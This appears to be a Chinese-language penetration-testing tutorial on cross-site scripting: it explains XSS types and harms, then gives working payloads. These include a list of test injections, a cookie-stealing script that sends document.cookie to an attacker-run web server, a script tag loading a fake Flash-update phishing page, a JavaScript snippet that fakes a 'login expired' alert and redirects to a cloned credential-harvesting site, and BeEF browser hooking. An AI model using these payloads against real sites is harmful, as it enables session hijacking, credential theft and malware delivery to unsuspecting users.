1.JavaScript
JavaScript 是一种脚本,一门编程语言,它可以在网页上实现复杂的功能,网页展现给你的不再是简单的静态信息,而是实时的内容更新,交互式的地图,2D/3D动画,滚动播放的视频等等。
(1)BOM
浏览器对象模型,JS通过BOM 访问浏览器相关的信息,对浏览器进行交互,获取宽高,改变当前窗口的地址。通常用来证明漏洞的存在,比如XSS漏洞。
(2)事件
不管什么语言,事件无处不在,事件是用户与web页面交互时发生的事情,例如单击链接或按钮、向输入框或文本区输入文本、在选择框中进行选择、按键盘上的键、移动鼠标指针、提交表单等。在某些情况下,浏览器本身可以触发事件,例如页面加载和卸载事件
(3)事件处理程序
事件处理程序,事件就是用户与浏览器交互后执行的某种动作,而响应某个事件的函数叫做事件处理程序(事件侦听器)。
按照惯例,事件处理程序的名称总是以“on”开头,因此单击事件的事件处理程序称为onclick,加载事件的事件处理程序称为onload,模糊事件的事件处理程序称为onblur等等。
2.跨站脚本攻击漏洞
跨站脚本 (Cross-site scripting,简称XSS)是指恶意攻击者往Web页面里插入恶意代码,当受害者加载网站时,代码就会执行。恶意代码可以通过几种方式插入。最常见的是添加到 URL 的末尾,或者直接发布到显示用户生成的内容的页面上。用更专业的术语来说,跨站脚本是一种客户端代码注入攻击。
(1)危害
A.钓鱼欺骗:最典型的就是利用目标网站的反射型跨站脚本漏洞将目标网站重定向到钓鱼网站,或者注入钓鱼 JavaScript 以监控目标网站的表单输入,甚至发起基于 DHTML 更高级的钓鱼攻击方式。
B.网站挂马:跨站时利用 IFrame 嵌入隐藏的恶意网站或者将被攻击者定向到恶意网站上,或者弹出恶意网站窗口等方式都可以进行挂马攻击。
C.身份盗用:Cookie 是用户对于特定网站的身份验证标志,XSS 可以盗取到用户的 Cookie,从而利用该 Cookie 盗取用户对该网站的操作权限。如果一个网站管理员用户 Cookie 被窃取,将会对网站引发巨大的危害。
D.盗取网站用户信息:当能够窃取到用户 Cookie 从而获取到用户身份使,攻击者可以获取到用户对网站的操作权限,从而查看用户隐私信息。
E.垃圾信息发送:比如在 SNS 社区中,利用 XSS 漏洞借用被攻击者的身份发送大量的垃圾信息给特定的目标群。
F.劫持用户 Web 行为:一些高级的 XSS 攻击甚至可以劫持用户的 Web 行为,监视用户的浏览历史,发送与接收的数据等等。
G.XSS 蠕虫:XSS 蠕虫可以用来打广告、刷流量、挂马、恶作剧、破坏网上数据、实施 DDoS 攻击等。
(2)分类
A.反射型XSS
反射型XSS,又称非持久型XSS,攻击相对于受害者而言是一次性的,具体表现在受害者点击了含有的恶意JavaScript脚本的url,恶意代码并没有保存在目标网站,而Web应用程序只是不加处理的把该恶意脚本“反射”回受害者的浏览器而使受害者的浏览器执行相应的脚本
B.存储型XSS
存储型XSS是指应用程序通过Web请求获取不可信赖的数据,在未检验数据是否存在XSS代码的情况下,便将其存入数据库 当下一次从数据库中获取该数据时程序也未对其进行过滤,页面再次执行XSS代码持续攻击用户。存储型XSS漏洞大多出现在留言板、评论区,用户提交了包含XSS代码的留言到数据库,当目标用户查询留言时,那些留言的内容会从服务器解析之后加载出来。
C.DOM型
不与后台服务器交互数据,也属于反射型的一种,一种通过dom操作前端输出的时候产生问题DOM,全称Document biect Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式,DOM-XSS简单理解就是不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题。
3.常见测试代码
<input οnfοcus=write('xss') autofocus>
<img src οnerrοr=alert('xss')>
<svg οnlοad=alert('xss') >
<script>alert('xss')</script>
<a href="javascript:alert('xss')">clickme</a>
</td><script>alert(123456)</script>
'><script>alert(123456)</script>
"><script>alert(123456)</script>
</title><script>alert(123456)</script>
<scrip<script>t>alert(123456)</scrip</script>t>
</div><script>alert(123456)</script>
4.盗取cookie
(1)首先在公网服务器启动一个用于接收cookie的web服务
python3 -m http.server --bind 0.0.0.0 2333
(2)在xss漏洞的地方插入攻击代码
<script>
window.open('http://192.168.169.1:2333/?q='+btoa(document.cookie))
</script>
受害者视角:
受害者访问了插入xss代码的网页,触发了漏洞,在浏览器打开了一个新的网站,并将cookie发送的攻击者的服务器
攻击者视角:
启动的web服务器接收到了受害者浏览器发送的cookie请求
5.Flash钓鱼
利用伪造的flash网站进行钓鱼,真伪网站之间除网址不同以外其他都相同
(1)拉取docker镜像,修改index文件,将其改为php文件,并对flash.js文件进行修改,将ip改为虚拟机ip,html文件改为php文件,再次注意绝对路径问题
(2)向存在xss漏洞的地方插入攻击代码,注意ip地址和端口的更改
<script src="http://192.168.190.133:9957/flash.js"></script>
当受害者访问该网站后会有弹窗弹出,提醒当前flash版本过低需要升级版本,当我们点击确定后即会跳转到攻击者伪造好的flash网站,点击下载时便会执行攻击者注入的恶意文件
6.Cobalt Strike钓鱼
一款团队作战渗透测试神器
(1)下载cs,给予其执行权限并启动服务器
主机即为虚拟机地址
(2)开始克隆
(3)通过短信钓鱼,邮件钓鱼,xss漏洞等方式将克隆好的网站发送给受害者
以下是克隆好后的网站
(4)将下面的js文件放入到网站目录里
window.location.href后接我们自己克隆好的网站地址
window.alert = function(name){
var iframe = document.createElement("IFRAME");
iframe.style.display = "none";
iframe.setAttribute("src",'date:text/plain');
document.documentElement.appendChild(iframe);
window.frames [0].window.alert(name);
iframe.parentNode.removeChild(iframe);
}
alert("登陆过期,请重新登陆!");
window.location.href="http://192.168.190.134/"
启动监听端口
(5)受害者视角
以下是利用xss漏洞,向其中插入payload,用户在访问时会看到提示登录过期,重新登录,如若输入用户名和密码,则会被攻击者所截获
(6)攻击者视角
7.BEEF钓鱼
(1)利用xss漏洞注入payload
将注入好漏洞的网站想办法让受害者点击
(2)我们可以通过beef发送一些指令到受害者浏览器上
可以看到已经控制了受害者浏览器
(3)受害者视角
8.流量劫持
利用木马修改浏览器不停的弹出新的窗口强制性让用户访问指定网站
例如在xss漏洞注入payload,自动跳转至百度
受害者视角: